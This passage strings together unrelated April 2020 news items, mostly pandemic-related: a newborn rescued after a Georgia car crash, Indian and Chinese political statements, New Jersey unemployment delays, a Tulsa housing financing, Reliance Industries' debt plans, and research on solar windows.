rushed her to an ambulance. He then went over to the panicked mother and grandmother to give them the good news. 'We got your baby,' Bride said. 'Looks to be fine. She's breathing and moving just fine.' 'Thank you Jesus!' Jones said. 'She's alive!' The family was taken to the hospital and Jones and little Tai were released soon afterwards while Graham and her newborn daughter were finally allowed to leave hospital last Wednesday. She was born with a weight of 3lb 9oz. Huff found the newborn infant moments after her mother gave birth to her and lost her amidst the chaos of a car accident Krystal Jones, Graham's mother, was driving while her daughter was in the backseat in labor Graham told officers that they could not find the newborn baby after her daughter had just given birth Officer Huff finally found the baby after Bride noticed a piece of the umbilical cord sticking out Young Cea, who weighed in at 3lbs 9oz was released from hospital last Wednesday Since returning home the family have been unable to have visitors due to the coronavirus lockdown in Georgia but plenty of friends and family have been sending encouraging messages, grateful for the family's survival. The family say that it is the police officers who found the baby in the chaotic moments after the accident who deserve the most praise. 'When I went to the impound and saw the car, it made no sense that we were all able to make it,' she said. 'Those officers really went above and beyond. We just can't wait to thank and bless them in person.' Haryana's borders with Delhi have been sealed with essential services allowed but stricter restrictions imposed on those coming in from the national capital, state Home Minister Anil Vij said on Tuesday. Haryana will be in a comfortable position as far as COVID-19 cases are concerned if the borders stay sealed for 15-20 days, Vij, who is also the health minister of Haryana, added. The towns of Gurgaon and Faridabad abut the national capital and form part of the National Capital Region. The state's borders have been sealed Essential services will be allowed. If all the borders of Haryana stay sealed for15-20days, the state will be in comfortable situation (in terms of coronavirus threat), Vij told PTI. Essential services and people connected with them will be allowed to cross the borders in accordance with the Union Home Ministry guidelines, he explained. Following the lockdown on March 25, the state government had already put in place restrictions to cross the border with vehicles and people being checked. The restrictions will be stricter, he said. Mostly those people who work in Delhi and stay in Haryana are getting infected, and also those who come into contact with them. And the cases are rising in Haryana because of them, Vij said. He said the Arvind Kejriwal-led Delhi government should make proper arrangements for lodging employees of the Delhi government who work in the national capital but stay in Haryana. It is the responsibility of the Delhi government to make arrangements for their stay and food and also test them and if they are positive, find a cure for them, he said. The same holds true for Haryana government employees coming here from the neighbouring state to work, he said. "It is our responsibility to make necessary arrangements for their lodging and food." Asked whether the lockdown should be lifted on May 3, he said his personal view was that it should be extended. The minister also underscored that the COVID-19 situation in the state is under control in the state, which has the country's highest recovery rate of more than 71 per cent. Vij who holds the portfolios of health, home and local bodies, which are at frontline in the battle against the pandemic, said, "I salute all the workers of these departments." Nuh with 57 COVID-19 cases, Gurgaon with 51, Faridabad with 46, Palwal with 34 and Sonipat with 22 are the worst affected districts in Haryana. Of these, Gurgaon, Faridabad and Sonipat border Delhi while the other are two are in its vicinity. According to the Union Health ministry on Tuesday, Haryana has reported 296 cases and three fatalities. Of the 296, 183 have been cured/discharged/migrated. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Janine Mezger was a waitress at Chilis in East Brunswick when the restaurant switched to take-out and delivery only during the coronavirus shutdown. The South River woman said she filed for unemployment on March 15. When it happened, our managers were reassuring that unemployment would give what was needed and when it's over, we can come back, said Mezger, 37. I had about $500 of tips from that weekend so I was just praying unemployment would work quick. Now its April 27 and I'm still waiting, she said. Shes one of thousands of unemployment filers who have yet to see a penny in benefits. The Labor Department told NJ Advance Media on Monday that more than 550,000 workers who are unemployed, furloughed or had their hours reduced are receiving state unemployment benefits and the additional federal $600 weekly supplement. But that leaves more than 250,000 people waiting for answers on their applications. Some, like Mezger, are regular W-2 employees but the majority are probably self-employed and gig workers, many of whom will eventually be eligible for the extended federal benefits. For Mezger, 37, there was no nest egg to fall back on. CORONAVIRUS RESOURCES: Live map tracker | Businesses that are open | Homepage She lives in an apartment with her 16-year-old daughter and their poodle. Fortunately, she paid her April rent early but now, she said, shes behind on every bill. There is no money for the May rent, though she said her landlord is working with her. Mezger even had to ask for grocery money from family members. I had to start asking my mom who is sick and on disability for money. It broke my heart, she said. I was mortified when another family member called the other day and needed back the money he lent me. I had to say no. Mezger may be in a better position that some applicants who havent received a phone call from the agency. She said the Labor Department told her she needed a monetary hearing and she did get a call from a representative. She explained that I am eligible and I had to send over pay stubs they already received from my employer, Mezger said. Before getting off the phone, Mezger said, she emailed the requested pay stubs to the representative. She said, Dont worry. Im going to put this straight through," Metzger said. My claim is now valid and I have yet to receive any money. Her unemployment account continues to show a balance of $0, she said. She said she starts calling various unemployment numbers every morning at 7:40 a.m., estimating she makes as many as 50 calls a day. But she never gets through, she said. Shes also tried emails, but she said she gets the same replies, "so you know the response is computerized. I have lost all hope and every day I hear Phil Murphy say, Dont worry. You wont lose a dime, she said. Well, how will that feed my kid and dog? Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Karin Price Mueller may be reached at bamboozled@njadvancemedia.com. Though House leaders had planned to restart stalled committee work, including oversight of the Trump administrations relief efforts, it was unlikely that the next phase of coronavirus aid would have been ready in time for the House to vote next week. Democrats were still drawing up their proposals on Tuesday, and leaders have said it will most likely include a significant increase in funding for state, local and tribal governments, as well as additional resources for the Postal Service, food assistance programs and election funding. Senate Republicans have resisted funding most of those items and have said any federal relief package must shield employers from liability for harm to employees and customers when they begin to reopen. The delay will also give House leaders more time to try to reach a bipartisan agreement on rules changes that would allow remote voting and hearings for the first time in history. Democratic leaders were hoping to build Republican support for their plan to permit lawmakers who could not or did not want to travel to Washington during the pandemic to designate another member to vote by proxy in their stead, and a bipartisan task force working on the issue met again on Tuesday. Mr. Hoyer indicated that Democrats would move ahead on their own and vote on the rules change when they did return to Washington if those talks did not yield an agreement. Republican leaders have questioned the idea of proxy voting, arguing that it flew in the face of representative government and could deprive rank-and-file lawmakers of input into legislation. But at least one Republican lawmaker, Representative Elise Stefanik of New York, said on Twitter that the abrupt reversal on the Houses schedule only underscored the URGENT need to reimagine and modernize how Congress can safely continue to do our critical legislative, approps, & oversight work during this crisis. In the absence of consensus on how to do so, many Democrats said calling off the session was the right move. We should be ensuring proxy voting and remote hearings so that we can engage in that important aspect of business, Ms. Jayapal said, but returning without the appropriate safety, testing and distancing protocols and procedures in place is unsafe and counterproductive. SPRINGFIELD, Pa., April 28, 2020 /PRNewswire/ -- InnoVative Capital, LLC acted as Municipal Advisor to the Tulsa Housing Authority (THA) in the financing of Phase One of THA's Choice Neighborhoods Implementation (CNI) project. Located in Tulsa's Eugene Field neighborhood, this project will bring new affordable/mixed-income housing to replace aging low-income housing, creating the River West community. Phase One is the first of a six-phase housing development that will also include commercial investment in the area's first supermarket, a community center, and other ventures under development. Phase One was funded through a financing stack, including a HUD CNI Grant, 9% Low-Income Housing Tax Credits (LIHTCs) competitively-awarded by Oklahoma Housing Finance Agency and syndicated by RBC Capital, a construction loan by Bank OZK, charitable donations, a Freddie Mac Forward permanent loan originated by PGIM Real Estate Finance, as well as THA contributed capital. Further financial support was provided by the City of Tulsa, which covered certain required public improvements. "The financing of River West Phase One was completed at a time of turbulence in the capital markets due to the global pandemic. Despite this obstacle, THA's collateralized mortgage loans were well-priced, and the LIHTC equity investment was syndicated at an attractive level. Lenders and investors appreciated the creditworthiness of the project, as well as the involvement of THA as the developer," said Alan Richman, president & CEO of InnoVative Capital. "Along with our municipal advisor, InnoVative Capital, more than 40 community partners committed to this project that represents a historic investment in affordable housing in Tulsa," said Aaron Darden, president & CEO of THA. "With the closing of the Phase One financing we are able to proceed with this project that will truly transform a community." "We are totally committed to the revitalization of Eugene Field. Our personnel and financial investment in this landmark project represent our view that this is a top priority at the THA. We recognize the many issues that need to be addressed daily pertaining to finance, legal, construction, public planning, and resident relocation. I am proud of the results and optimistic for success in future phases of the River West development process. The financial benefits of this new development and improved quality of life is what Tulsa needs and deserves," said Rick Neal, chairman of THA's board of commissioners. Choice Neighborhoods Tulsa In 2017, Tulsa was one of five U.S. cities to be awarded a $30 million CNI Grant. THA as grantee, and the City of Tulsa, as co-grantee are leveraging this prestigious grant to revitalize and transform Tulsa's Eugene Field neighborhood and promote economic development. The more than $200 million Choice Neighborhoods Tulsa project will result in the development of the River West community, consisting of six mixed-income housing developments totaling 460 units. River West represents the largest investment in Tulsa's affordable housing. In addition to the CNI Grant, other charitable investments will include $12 million from the Anne and Henry Zarrow Foundation and $3.25 million from George Kaiser Family Foundation. Phase One consists of 74 new housing units financed with a $19 million multi-funding stack including CNI grants, debt financing, tax credit equity, donations, and THA investments. About the Tulsa Housing Authority THA has been serving the community since 1967, providing affordable housing solutions for Tulsa's most vulnerable populations. THA is governed by a five-member Board of Commissioners which establishes policies, approves budgets, and provides general direction to the THA President & Chief Executive Officer and executive staff. THA provides publicly assisted housing comprised of traditional public housing, mixed-finance sites, and housing vouchers. THA provides assistance to more than 20,000 individuals or 7,200 families. THA owns and manages 13 communities, four Section 8 Project-Based Rental Assistance communities, and manages the Housing Choice Voucher program. THA serves more than 20,000 Tulsans, providing affordable housing in tandem with supportive services to help all Tulsans thrive. THA is creating a better Tulsa by transforming lives and communities. About InnoVative Capital LLC Founded in 2000, InnoVative Capital is a financial advisor and mortgage bank for public housing authorities, hospitals, municipalities, local governments, and senior living providers. As an SEC Registered Municipal Advisor, InnoVative Capital structures municipal bonds, negotiates tax credits and equity investments, and represents its clients in the execution of mortgage-backed financings incorporating HUD, USDA, Freddie Mac, Fannie Mae, and conventional bank loans. As a HUD mortgage lender and USDA banker, InnoVative Capital delivers low-cost capital to underserved and economically disadvantaged communities. Media Contact: Alan Richman, President/CEO of InnoVative Capital Phone: 610-543-2490 x101 Email: [email protected] SOURCE InnoVative Capital, LLC Mrs Adetola Abdulazeez, the woman who was assaulted by two policemen enforcing the lockdown directive in Osun State, has petitioned the Inspector General of Police Mohammed Adamu, demanding a compensation of N200 million. The mother of two was flogged by the policemen on her way to buy drugs for her relatives at a pharmacy in Odo Ori Market in Iwo, Osun State, on April 18. The incident which attracted public outcry, including that of the Oluwo of Iwo and the Osun State government, also attracted the attention of the IGP who immediately ordered for the dismissal of the policemen. However, the victim, through her lawyer Mr Pelumi Olajengbesi, in a pre-action notice submitted to the IGP on Monday and obtained by NAN, said her client was also demanding an apology for her battered image. We commend the swift intervention of the Inspector General of Police and that of other top Nigeria Police Force hierarchy, condemning the unprofessional conduct of the policemen involved and the assurance of disciplinary action. While we recognise the authority of the Nigeria Police Force in containing the movement of people during this COVID-19 crisis, we believe strongly that same must be done in compliance with the rule of law. The video of the disgraceful act meted out on our client has since gone viral on the internet and has ridiculed her publicly, as she was seen being battered like a common thief by men of the Nigeria Police Force. We hereby demand that the Nigeria Police Force should address a letter of apology to our client personally showing honest concern and contrition to begin to ameliorate the continuous sadness and depression she continues to suffer. That the payment of N200 million be made to our client as general damages for all the pain, trauma, bodily inconveniences and public ridicule amongst others, caused her and her family during this period, he said. Olajengbesi further stated that on behalf of the victim, he was also demanding the immediate prosecution of the officers involved in the criminal act, in the Nigeria open court. He stated that security agents should discharge their duties during the lockdown in line with international best practices and in accordance with the guidelines stipulated by the United Nations. In his reaction, the Force Public Relation Officer, Frank Mba, told NAN that the police had already dismissed the policemen in question and would prosecute them if need be. Mba also said that the police had yet to see the womans petition on the demand of N200 million compensation and an apology law. The video of the disgraceful act meted out on our client has since gone viral on the internet and has ridiculed her publicly, as she was seen being battered like a common thief by men of the Nigeria Police Force. We hereby demand that the Nigeria Police Force should address a letter of apology to our client personally showing honest concern and contrition to begin to ameliorate the continuous sadness and depression she continues to suffer. That the payment of N200 million be made to our client as general damages for all the pain, trauma, bodily inconveniences and public ridicule amongst others, caused her and her family during this period, he said. Olajengbesi further stated that on behalf of the victim, he was also demanding the immediate prosecution of the officers involved in the criminal act, in the Nigeria open court. He stated that security agents should discharge their duties during the lockdown in line with international best practices and in accordance with the guidelines stipulated by the United Nations. In his reaction, the Force Public Relation Officer, Frank Mba, told NAN that the police had already dismissed the policemen in question and would prosecute them if need be. Mba also said that the police had yet to see the womans petition on the demand of N200 million compensation and an apology letter. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Thiruvananthapuram, April 28 : Kerala Finanace Minister Thomas Issac, a former professor of economics feels times ahead are going to be critical as the world comes out of the Covid-19 crisis. He points at an unprecedented recession in India with Kerala's economy to be one of the worst hit. A comparatively late entrant into the field of politics at 49 then, still a teacher of economics at the Centre for Development Studies, whose first pet project was People's Plan Campaign, has been cut up with the Centre as Kerala's financial crisis has worsened. With Covid-19 striking hard, IANS caught up with the 67-year-old Minister, who feels getting back to normal times will not happen anytime soon. He bats for stimulus package and proposes borrowing 5 per cent of the GDP from the RBI and allowing half of it to be given to the states. As for the state, he feels the Pinarayi Vijayan government has done well even within a month, looking ahead he feels Kerala should dig deep into it's healthcare image -- pharmaceuticals, nurses training, etc. Here are excerpts from the interview: Q: Can you please explain what this Covid-19 would be for the country in general and Kerala in particular? A: India's economy will shrink by 10 per cent and this will lead to the biggest recession, the country has ever witnessed. With regards to Kerala, its economy would be worse than the country's, as the remittances will take a huge beating leading to reverse multiplier effect. Q: How long do you think this crisis would last ? A: You can safely forget this fiscal, for sure and it should be the same globally too. Q: What's the way out for this crisis and what would be a prudent handling of finance? A: The Centre should borrow 5 per cent of the GDP from the Reserve Bank of India and give half of it to the states. The rest should be used by the Centre for a stimulus package. The Centre should transfer Rs 7,500 to each and every Jan Dhan account, besides give 50 per cent of the potential last year's wages paid under the rural employment guarantee scheme as advance. This can be adjusted during the year. Q: What else? A: The Centre should introduce a universal pension scheme. With regards to the MSME sector there should be a moratorium on all loans for a year with the Centre bearing the interest burden. The banks should be asked to provide 25 per cent for working capital. Q: There are reports that companies might move from China. Do you think that will benefit India? A: I seriously doubt about that as China is hugely mechanised and India just cannot match that. Other South East Asian countries might get an advantage. Perhaps, labour intensive units might look towards India. Q: What steps have you taken to see Kerala does not fall deeper into trouble? A: We have already pumped Rs 20,000 crores into our economy which includes payment to small time contractors. This money effectively circulates in our economy. Rs 8,500 each have been paid to people as social pension that is worth Rs 4,500 crores. Besides we have paid Rs 1,000 each to all people who do not fall into any pension list. Just take a look around and see, things after a month appear to be stable. By the end of May we will settle all out standings that are due to people under various schemes and heads. I think we have done a good job. Q: What about Kerala and its prospects in the aftermath of Covid-19? Ans: The biggest advantage Kerala has is its hugely popular 'Kerala health brand'. It is in that our state should tap into sectors like pharmaceuticals and medical devices. Urgent steps have to be taken by our Industries Department to set up pharma and medical devices park. Our state-run Kerala State Drugs and Pharmaceuticals can take the lead and we are planning to make it a Rs 200 crores company, to make use of the Kerala brand image. There is also a huge scope for Kerala nurses and the need of the hour is to train and keep ready about 25,000 nurses. They should be professionally trained by sending them to finishing schools and get them certification ready. The potential worldwide is huge and we will do everything to tap this. Q: In Kerala, everything is linked to politics. Do you think the Left government has walked into the hearts of the people? A: Yes, we feel that people do appreciate what we have done. Chief Minister Pinarayi Vijayan has been able to carry everyone along. The first signs that we have done well will be reflected in the local bodies election. The opposition here has been taking a negative stand. If they have any sense, they should join in bringing solace to the people, if not they will be isolated. I feel they are on the wrong track. -- Syndicated from IANS Source: Xinhua| 2020-04-28 12:46:20|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi has called for higher level of China-Cambodia relations after the COVID-19 pandemic. Wang made the remarks during his phone call on Monday with Cambodia's Deputy Prime Minister and Foreign Minister Prak Sokhonn. Since the outbreak, said Wang, China and Cambodia have helped each other in the spirit of brotherhood and weathered the crisis through thick and thin, and the Cambodian side has offered China the staunchest support in the most difficult period of China's fight against the disease. Cambodian King Norodom Sihamoni, along with his mother, former Queen Norodom Monineath Sihanouk, have extended their sympathy to Chinese President Xi Jinping and provided help with cash assistance, and Prime Minister Samdech Techo Hun Sen visited China amid the epidemic to show support, Wang noted. Wang said China, in turn, has sent to Cambodia its first official team of medical experts to the neighboring countries and the first military team of experts to overseas, in a bid to provide epidemic containment supplies and share diagnostic and treatment experience. China is delighted to see the outbreak in Cambodia has been basically controlled, he said, voicing confidence that the Cambodian people, under the leadership of Hun Sen, will surely win a victory against the disease. The Chinese side has all along been sharing information related to epidemic prevention and control and conducted active international cooperation in an open and transparent manner, which has been fully recognized by most countries, including Cambodia, said Wang. The more successful China's anti-epidemic fight is, the stronger the China-smearing campaign by some can be expected, he said, adding that the better China's cooperation with other countries is, the more vigorous the urges by some to find fault can be. That phenomenon has fully exposed their prejudice and injustice towards China, he noted. The Chinese side commends Cambodia for its opposition to politicizing and stigmatizing the epidemic, as well as for its firm support for the World Health Organization (WHO) to play its due role in battling the outbreak, said Wang, expressing his belief that the Cambodian side will continue to adopt an objective stance and maintain justice. Wang said the China-Cambodia friendship has withstood the trials of time and ever-changing international situation and got further strengthened amid the pandemic. The two sides have always backed each other on issues concerning their core interests, which safeguards not only their own benefits, but also international justice. Cambodia has upheld justice in defiance of power politics, a testament to its strength of character as an independent sovereignty, Wang added. This year marks the 20th anniversary of the bilateral comprehensive strategic partnership and the first anniversary of the action plan for building a community with a shared future between China and Cambodia. The two countries need to do a good job in implementing the consensuses reached by the two leaders, combating the pandemic and conducting practical cooperation between the two sides, so as to lift the bilateral ties to a higher level after the test of COVID-19, Wang stressed. For his part, Sokhonn congratulated China on the critical outcomes of its anti-epidemic fight and thanked China for sending medical experts and providing medical supplies to his country. It is admirable that China has made great sacrifice and manifested the spirit of solidarity in battling the pandemic, he said, adding that China has not only managed to control the virus' spread domestically, but also lend a helping hand worldwide, which shows the true spirit of internationalism. Cambodia stands ready to work with China to enhance bilateral cooperation in key areas and programs, so as to lift the bilateral partnership to a new height, Sokhonn stressed. COVID-19 is a common threat to all humanity. To defeat the virus, it is imperative for the international community to unite as one, instead of splitting apart. Cambodia opposes exploiting the pandemic to stigmatize China and firmly supports the WHO's leading role in the global anti-pandemic battle, he noted. Enditem WASHINGTON A 2nd Amendment challenge to a New York City gun ordinance fizzled in the Supreme Court on Monday, but conservative justices looked poised to expand gun rights in future cases. In a brief unsigned opinion, the high court said the New York case was moot because the city had repealed the ordinance that barred licensed gun owners from carrying their weapons across town or outside the city. The decision is only the latest disappointment for 2nd Amendment advocates. For a decade, they have tried and failed to get the Supreme Court to rule squarely on whether gun owners have a constitutional right to carry a firearm with them in public. New York, California and other liberal states restrict who can carry guns in public and under what circumstances. And the justices have repeatedly refused to strike down those laws. But Mondays brief ruling is not the last word on the issue. The court has other appeals pending that raise 2nd Amendment challenges to state restrictions on semiautomatic weapons and on carrying guns in public. David G. Savage of the Los Angeles Times wrote this story. 2020 Los Angeles Times Visit the Los Angeles Times at www.latimes.com Distributed by Tribune Content Agency, LLC. CPI(M) general secretary Sitaram Yechury on Tuesday hit out at the centre citing an RTI reply from the Reserve Bank of India (RBI) which stated that the government has waived Rs 68,607 crore of the top 50 bank loan defaulters, including Nirav Modi, Mehul Choksi and Vijay Mallya. "The man who ran away from India after a fraud was welcomed by Modi at PM's residence, calling him Mehul Bhai. Not only did Modi's 'Mehul Bhai' escape, he also got his bank loans from public money written off! "This, under the same Modi govt which says that it has no money for the poor and the vulnerable who have lost their livelihoods in the sudden lockdown. Or doesn't have money to give free food from grains, rotting in FCI godowns. But there's always money for humaare Mehul Bhai!," Yechury said in a tweet. He also said the priorities of this government are "statues, Trump tamasha, write-offs of frauds of cronies, personal PR campaigns and latest fad of a new residence for PM in a new Central Vista". "How come Modi has money to waste on all this but not for farmers, workers, the poor and the vulnerable?," Yechury asked. Taking a dig at the violence by a mob of migrants in Surat in Prime Minister Narendra Modi's home state Gujarat, Yechury asked why he didnt talk of the 'Guajarat model' any more. "Achhe Din? Modi & Shah's state facing a severe health crisis. BJP rule since 1995 destroyed public health. There's a complete breakdown of governance & humanitarian concerns. It's distressing to see these visuals from Gujarat. "Should there be missing posters for union ministers such as health minister who hasn't been seen facing the press, answering questions about the grave situation in Gujarat, Madhya Pradesh or UP? If Agra was a model', why hasn't minister answered what became of that model now?," he asked. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ALONE, the organisation which supports older people, has voiced its concern regarding the impact of cocooning measures on older peoples mental health. Also read: A selection of Longford County Council and Longford Leader 'Love Your Home' photography entries In the past ten days, 62% of practical support requests made to ALONEs national Covid-19 helpline were in relation to social isolation and loneliness. The organisation has renewed its calls for a national strategy on loneliness in order to tackle the issue on a long-term basis, both during the pandemic and after it has subsided. As the weeks go by, ALONE has noted that older people using their helpline are becoming increasingly distressed by the impact of cocooning. ALONE has also seen a huge increase in the number of calls they are receiving in relation to suicidal ideation, increasing from 2-3 calls per week, to 3-4 calls per day. Many callers will already be in touch with mental health services or where this is not the case, ALONE will link them in. ALONE has hugely expanded their services since the outbreak of Covid-19 in Ireland to meet the needs of older people nationwide, and is running a national helpline for older people in collaboration with the Department of Health, the HSE, and Local Authorities. Since it launched in March, ALONEs national helpline for older people has received over 16,000 calls. In addition to this, ALONE staff and volunteers have made 46,808 calls to older people who needed support. More than 70% of the older people who called the ALONE helpline in the last week are living alone. Also read: Longford woman creates beautiful painting inspired by tribute to our frontline heroes ALONE CEO Sean Moynihan stated We are encouraging any older person who is struggling with their mental wellbeing at this time to get in touch with us and other support services. For many, these difficulties are directly linked to the impact of COVID-19 and cocooning. Loneliness is a common issue, and long term we need a strategy to combat loneliness across all age groups. Support is available to help to manage and overcome these difficulties. We welcome Minister Harriss announcement of an additional 1.1 million investment into online mental health supports, which will help organisations to further assist older people who are struggling with their mental health during these unprecedented times. The organisation has recently teamed up with Gavin James and Bonfire Dublin to release a video campaign featuring Gavin Jamess song Nervous. The Now more than ever campaign consists of a series of short videos focusing on loneliness, which call on members of the public to stay in touch with the older people they know who may be feeling lonely whilst cocooning. All six videos are available to watch HERE. Moynihan continued, We know that loneliness can have significant health impacts on our mental health, so we are asking members of the public to keep in touch with the older people in their lives during what is a very difficult time for many. For some of the older people that we are currently working with, loneliness is a new and temporary issue which will pass. Unfortunately, for others, it is an ongoing situation. "ALONE are determined to ensure that every older person receives the supports they need to live their best life. If someone calls or is referred to ALONE, we can arrange to contact the individual as often as is needed, and this service will continue after the current crisis. Our volunteers are continuing to provide telephone support to those who need it, and are making regular phone calls for reassurance and social support. Research by The Irish Longitudinal Study on Ageing (TILDA) last year showed that loneliness has a negative impact on mental and physical health, and that loneliness is most prevalent among over-75s and those living alone. The study also showed that one-third of those aged 50 and older felt lonely at least some of the time. ALONE is encouraging older people who need advice or support to call their support line, 0818 222 024 from 8am-8pm, seven days a week. The support line, which is running in collaboration with the Department of Health and the HSE, is available to all older people including those who have not used ALONEs services previously. The support line is designed to complement the clinical advice and information being provided by the HSE through its website and helpline. Contact ALONE on 0818 222 024 if you have concerns about your own wellbeing, or the wellbeing of an older person you know. Further information can be found on www.alone.ie. Directors Joe and Anthony Russo have revealed which superheroes they would pick as their self-isolation companions. Both brothers, who are behind four Marvel films Captain America: The Winter Soldier, Captain America: Civil War, Avengers: Infinity War and Avengers: Endgame were asked during an interview with NME which superheroes they would quarantine with if given the choice. The Marvel Cinematic Universe offers a wide variety of potential roommates, from Captain Marvel (Brie Larson) to Thor (Chris Hemsworth) or even his brother Loki (Tom Hiddleston) for the more mischief-inclined among us. Anthony Russo went with a superhero whose future in the MCU was once uncertain: Spider-Man. I think Spider-Man would be a great partner for social-distancing, right? he said. He can swing over the city or if anybody gets too close he just webs them and creates a nice social-distancing barrier. Last year, it was reported that Marvel and Sony had failed to reach a deal to continue Spider-Mans involvement in the MCU. Both companies later reached an agreement enabling the web-slinger (currently portrayed by Tom Holland) to remain with Marvel. Joe Russo went with a superhero who has shared a deep bond with Spider-Man in recent films: Iron Man, aka Tony Stark. I would go with Tony Stark to isolate with because of his vast capacity for virtual life, the director said. The planned sequel to the 2019 Spider-Man: Far From Home has been pushed from July 2021 to November 2021 due to the coronavirus pandemic, according to Variety. Marvels Doctor Strange in the Multiverse of Madness was subsequently delayed from November 2021 to March 2022. RILs debt stood at Rs 3.06 trillion as of December 2019, against Rs 2.87 trillion in March 2019. Reliance Industries (RIL) said on Monday that its board would consider a proposal to issue equity shares to existing shareholders on a rights basis, during its board meeting on Thursday. Analysts see the move as a bid to help the firm achieve its zero-net debt target, if other stake sale plans get delayed. In a statement to the BSE, RIL said the firms board will meet on Thursday to consider and approve its March 2020 quarter and FY20 results, recommend dividend on equity shares, and consider a proposal to issue equity shares to existing shareholders on a rights basis, as may be permitted under applicable law, subject to such regulatory/statutory approvals, as may be required. We were not expecting a rights issue, said an analyst. However, he added: In the current global context and oil markets, the rights issue should be seen as a Plan B if there is any delay for the stake sale to Aramco. "This is the easiest way to achieve the zero-net debt target. The analyst expects dilution of 5 per cent through rights. In other words, each shareholder will be entitled to apply for five new shares for every 100 shares held. This will help RIL raise Rs 40,802 crore, assuming a 10 per cent discount to Mondays closing price. In August 2019, group chairman and managing director Mukesh Ambani told shareholders that RIL would be a zero-net debt company before March 2021. RILs debt stood at Rs 3.06 trillion as of December 2019, against Rs 2.87 trillion in March 2019. Net debt, as of December 2019, was Rs 1.53 trillion. According to a Credit Suisse note, RILs net debt-to-equity ratio, as of March 2020, is expected to be 0.52x. Last week, RIL announced Facebook would invest Rs 43,574 crore in Jio Platforms for 9.99 per cent stake. With net debt of Rs 1.53 trillion, RIL still needs another Rs 1.1 trillion to meet its zero-net debt target. So, the 5 per cent equity dilution may not fully help, and RIL may have to go for higher dilution. Assuming a discount of 10 per cent, RIL will be able to get another Rs 81,600 crore from a rights issue, at the current market price, if it dilutes 10 per cent of its equity. It is yet to share details of the issue size. RILs December quarter capital expenditure at Rs 14,015 crore was three-fourth of its cash profit that stood at Rs 18,511 crore, which gives an indication of the surplus cash it has for debt reduction. As part of the debt-reduction measure, RIL plans to sell 20 per cent in its oil-to-chemicals (O2C) division to Saudi Aramco for $15 billion. With the crash in oil prices, analysts have raised concerns over the timeline for completion of the deal. Other plans include its Rs 25,215-crore deal with Brookfield group for the sale of 51 per cent stake in its telecom tower assets, through an investment infrastructure trust (InvIT). RIL also plans to bring a strategic investor in its fibre assets InvIT. In December 2019, RIL and BP agreed to form a joint venture, wherein BP will acquire 49 per cent stake in RILs retail fuel business for Rs 7,000 crore. Flash Chinese President Xi Jinping said on Monday evening that the Chinese side has been following the epidemic situation in Nepal, and will continue to firmly support its combat against the COVID-19 outbreak. Xi, who made the remarks when holding a phone conversation with Nepali President Bidhya Devi Bhandari, also called on the two countries' health and medical institutions to strengthen communication and cooperation. Xi pointed out that in the face of the sudden strike of the COVID-19 outbreak, the Chinese people have taken effective measures suited to China's national conditions, and have ridden out the most difficult period by making arduous efforts. Noting that China always maintains a clear head over the situation, Xi said the country has been ready for changes in its external environment in the long run, and actively pushing for restoring the normal order to economic and social development on the premise that full efforts are made to prevent and control the spread of the epidemic. He also expressed the full confidence that the fundamentals of China's long-term economic growth will remain unchanged. Xi stressed that at the moment when China was in the depth of the outbreak, the Nepali government and people provided firm support to China, which shows the Nepali people's profound friendship towards the Chinese people. The Chinese president also expressed his belief that under the leadership of Bhandari and Nepali Prime Minister K.P. Sharma Oli, the Nepali government and people will surely prevail over the epidemic at an early date. Xi also told Bhandari that after the epidemic, the two sides should continue to well implement the consensuses reached on cooperation in various fields during their visits to each other's country last year, and push for the constant development of the China-Nepal strategic partnership of cooperation. The international community needs solidarity and cooperation more than ever in the face of the unprecedented pandemic challenge, said Xi, adding that the world also needs to safeguard multilateralism and uphold international justice and morality. He also said that the Chinese side is ready to uphold the notion of building a community with a shared future for mankind, actively conduct international anti-epidemic cooperation, and support the leading role of the World Health Organization. Windows that let in light and produce electricity at the same time: a recipe for a perfect life and an idea as fascinating as unattainable. At least until recently. Making a thin solar-cell film to stick on a window glass is easy enough. Making it convert sunlight into electricity at any meaningful level of efficiency was the hard part. And now scientists from Australia say theyve cracked it. The team, led by materials chemistry professor Jacek Jasieniak, developed a new kind of semi-transparent solar cell that featured one important difference from other semi-transparent cells: they had a component replaced with an organic conductor that can be transformed into a polymer, much more stable than the originaland commonsolar cell component. The original component, called Spiro-OMeTAD, is notoriously unstable, and has been known to affect adversely the way perovskite solar cells convert light into electricity. Whats a perovskite solar cell? Its a cell that uses one of a group of minerals collectively known as perovskites instead of solicon. Perovskites can deliver higher conversion efficiency at lower cost than silicon cells. Yet stability has been a problem and the Australian team seems to have succeeded in solving this problem. The efficiency of the new solar cells is truly impressive: Rooftop solar has a conversion efficiency of between 15 and 20%, says Jasieniak, as quoted by Exciton Science. The semi-transparent cells have a conversion efficiency of 17%, while still transmitting more than 10% of the incoming light, so they are right in the zone. Its long been a dream to have windows that generate electricity, and now that looks possible. There is a catch of sorts. The more opaque the glass, the more solar energy it converts into electricity, so, if the new cells are to be incorporated into buildings, architects would need to factor in the relationship between glass transparency and conversion efficiency. But that may simply mean they could plan for more glass as proportion of the building. According to Jasieniak, a solar window using the new cells can be as transparent as existing glazed commercial windows and generate some 140 watts of electricity per square meter. If we multiply this by all the square meters an office building, for example, has available for windows, the amount of energy that these solar cells could generate becomes quite respectable. Premium: 2 Stocks To Consider As Oil Nears $15 There is also a private company in the United States that recently reported promising news about solar windows. Ubiquitous Energy makes what it calls a solar glass that can convert light into electricity without having to tint the glass. The companya spinoff from the Massachusetts Institute of Technologyuses an organic dye for the glass that absorbs the infrared part of the spectrum radiated by the sun and turns it into electricity. "Light absorbing dyes are found all around us. They're in paints, they're in pigments for clothing, and they're even in electronic devices," the chief technology officer of Ubiquitous Energy, Miles Barr, told CNN last month. "What we've done is we've engineered those dyes to selectively absorb infrared light and also convert that light into electricity." The great thing about this glass, the ClearView Power glass, is that it is not just confined to buildings. It can be fitted on cars or even smartphone screens. The not so great thing is that the conversion ratio of the light-absorbing dye is relatively low. From another perspective, however, the efficiency ratio is record-high. Last year, Ubiquitous Energy boasted a world record in conversion efficiency for a transparent solar cell, at 9.8 percent. Now, thats certainly not a whole lot but, again, low cost and scalability could make every percent of conversion count, just as with the Australian teams solar cell. The combination of low cost and easy scalability becomes even more attractive in the context of a drive to use more renewable energy, which has gathered such pace that 